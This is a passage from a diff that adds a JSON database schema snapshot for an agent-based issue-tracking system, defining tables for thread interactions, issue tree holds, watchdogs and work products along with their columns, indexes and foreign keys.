+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_idempotency_uq": {
+          "name": "issue_thread_interactions_company_issue_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_thread_interactions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_source_comment_idx": {
+          "name": "issue_thread_interactions_source_comment_idx",
+          "columns": [
+            {
+              "expression": "source_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_addressee_agent_idx": {
+          "name": "issue_thread_interactions_addressee_agent_idx",
+          "columns": [
+            {
+              "expression": "addressee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_thread_interactions_company_id_companies_id_fk": {
+          "name": "issue_thread_interactions_company_id_companies_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_issue_id_issues_id_fk": {
+          "name": "issue_thread_interactions_issue_id_issues_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_comment_id_issue_comments_id_fk": {
+          "name": "issue_thread_interactions_source_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "source_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "source_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_created_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_addressee_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_addressee_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "addressee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "resolved_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_hold_members": {
+      "name": "issue_tree_hold_members",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "hold_id": {
+          "name": "hold_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "depth": {
+          "name": "depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "issue_identifier": {
+          "name": "issue_identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_title": {
+          "name": "issue_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_status": {
+          "name": "issue_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_id": {
+          "name": "active_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_status": {
+          "name": "active_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "skipped": {
+          "name": "skipped",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "skip_reason": {
+          "name": "skip_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_hold_members_hold_issue_uq": {
+          "name": "issue_tree_hold_members_hold_issue_uq",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_company_issue_idx": {
+          "name": "issue_tree_hold_members_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_hold_depth_idx": {
+          "name": "issue_tree_hold_members_hold_depth_idx",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "depth",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_hold_members_company_id_companies_id_fk": {
+          "name": "issue_tree_hold_members_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk": {
+          "name": "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issue_tree_holds",
+          "columnsFrom": [
+            "hold_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_parent_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_parent_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_assignee_agent_id_agents_id_fk": {
+          "name": "issue_tree_hold_members_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "active_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_holds": {
+      "name": "issue_tree_holds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "root_issue_id": {
+          "name": "root_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_policy": {
+          "name": "release_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_actor_type": {
+          "name": "released_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_agent_id": {
+          "name": "released_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_user_id": {
+          "name": "released_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_run_id": {
+          "name": "released_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_reason": {
+          "name": "release_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_metadata": {
+          "name": "release_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_holds_company_root_status_idx": {
+          "name": "issue_tree_holds_company_root_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "root_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_holds_company_status_mode_idx": {
+          "name": "issue_tree_holds_company_status_mode_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "mode",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_holds_company_id_companies_id_fk": {
+          "name": "issue_tree_holds_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_root_issue_id_issues_id_fk": {
+          "name": "issue_tree_holds_root_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "root_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_released_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "released_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "released_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_watchdogs": {
+      "name": "issue_watchdogs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "watchdog_agent_id": {
+          "name": "watchdog_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "instructions": {
+          "name": "instructions",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "watchdog_issue_id": {
+          "name": "watchdog_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_fingerprint": {
+          "name": "last_observed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_fingerprint": {
+          "name": "last_reviewed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_stop_snapshot": {
+          "name": "last_observed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_stop_snapshot": {
+          "name": "last_reviewed_stop_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_triggered_at": {
+          "name": "last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_completed_at": {
+          "name": "last_completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger_count": {
+          "name": "trigger_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_run_id": {
+          "name": "updated_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_watchdogs_company_issue_uq": {
+          "name": "issue_watchdogs_company_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_status_idx": {
+          "name": "issue_watchdogs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_agent_idx": {
+          "name": "issue_watchdogs_company_agent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_watchdogs_company_watchdog_issue_uq": {
+          "name": "issue_watchdogs_company_watchdog_issue_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "watchdog_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_watchdogs\".\"watchdog_issue_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_watchdogs_company_id_companies_id_fk": {
+          "name": "issue_watchdogs_company_id_companies_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_watchdog_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "watchdog_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_watchdog_issue_id_issues_id_fk": {
+          "name": "issue_watchdogs_watchdog_issue_id_issues_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "watchdog_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_agent_id_agents_id_fk": {
+          "name": "issue_watchdogs_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_watchdogs_updated_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_watchdogs",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "updated_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_work_products": {
+      "name": "issue_work_products",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_service_id": {
+          "name": "runtime_service_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "review_state": {
+          "name": "review_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'none'"
+        },
+        "is_primary": {
+          "name": "is_primary",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_work_products_company_issue_type_idx": {
+          "name": "issue_work_products_company_issue_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_execution_workspace_type_idx": {
+          "name": "issue_work_products_company_execution_workspace_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_provider_external_id_idx": {
+          "name": "issue_work_products_company_provider_external_id_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_updated_idx": {
+          "name": "issue_work_products_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_work_products_company_id_companies_id_fk": {
+          "name": "issue_work_products_company_id_companies_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_project_id_projects_id_fk": {
+          "name": "issue_work_products_project_id_projects_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_issue_id_issues_id_fk": {
+          "name": "issue_work_products_issue_id_issues_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
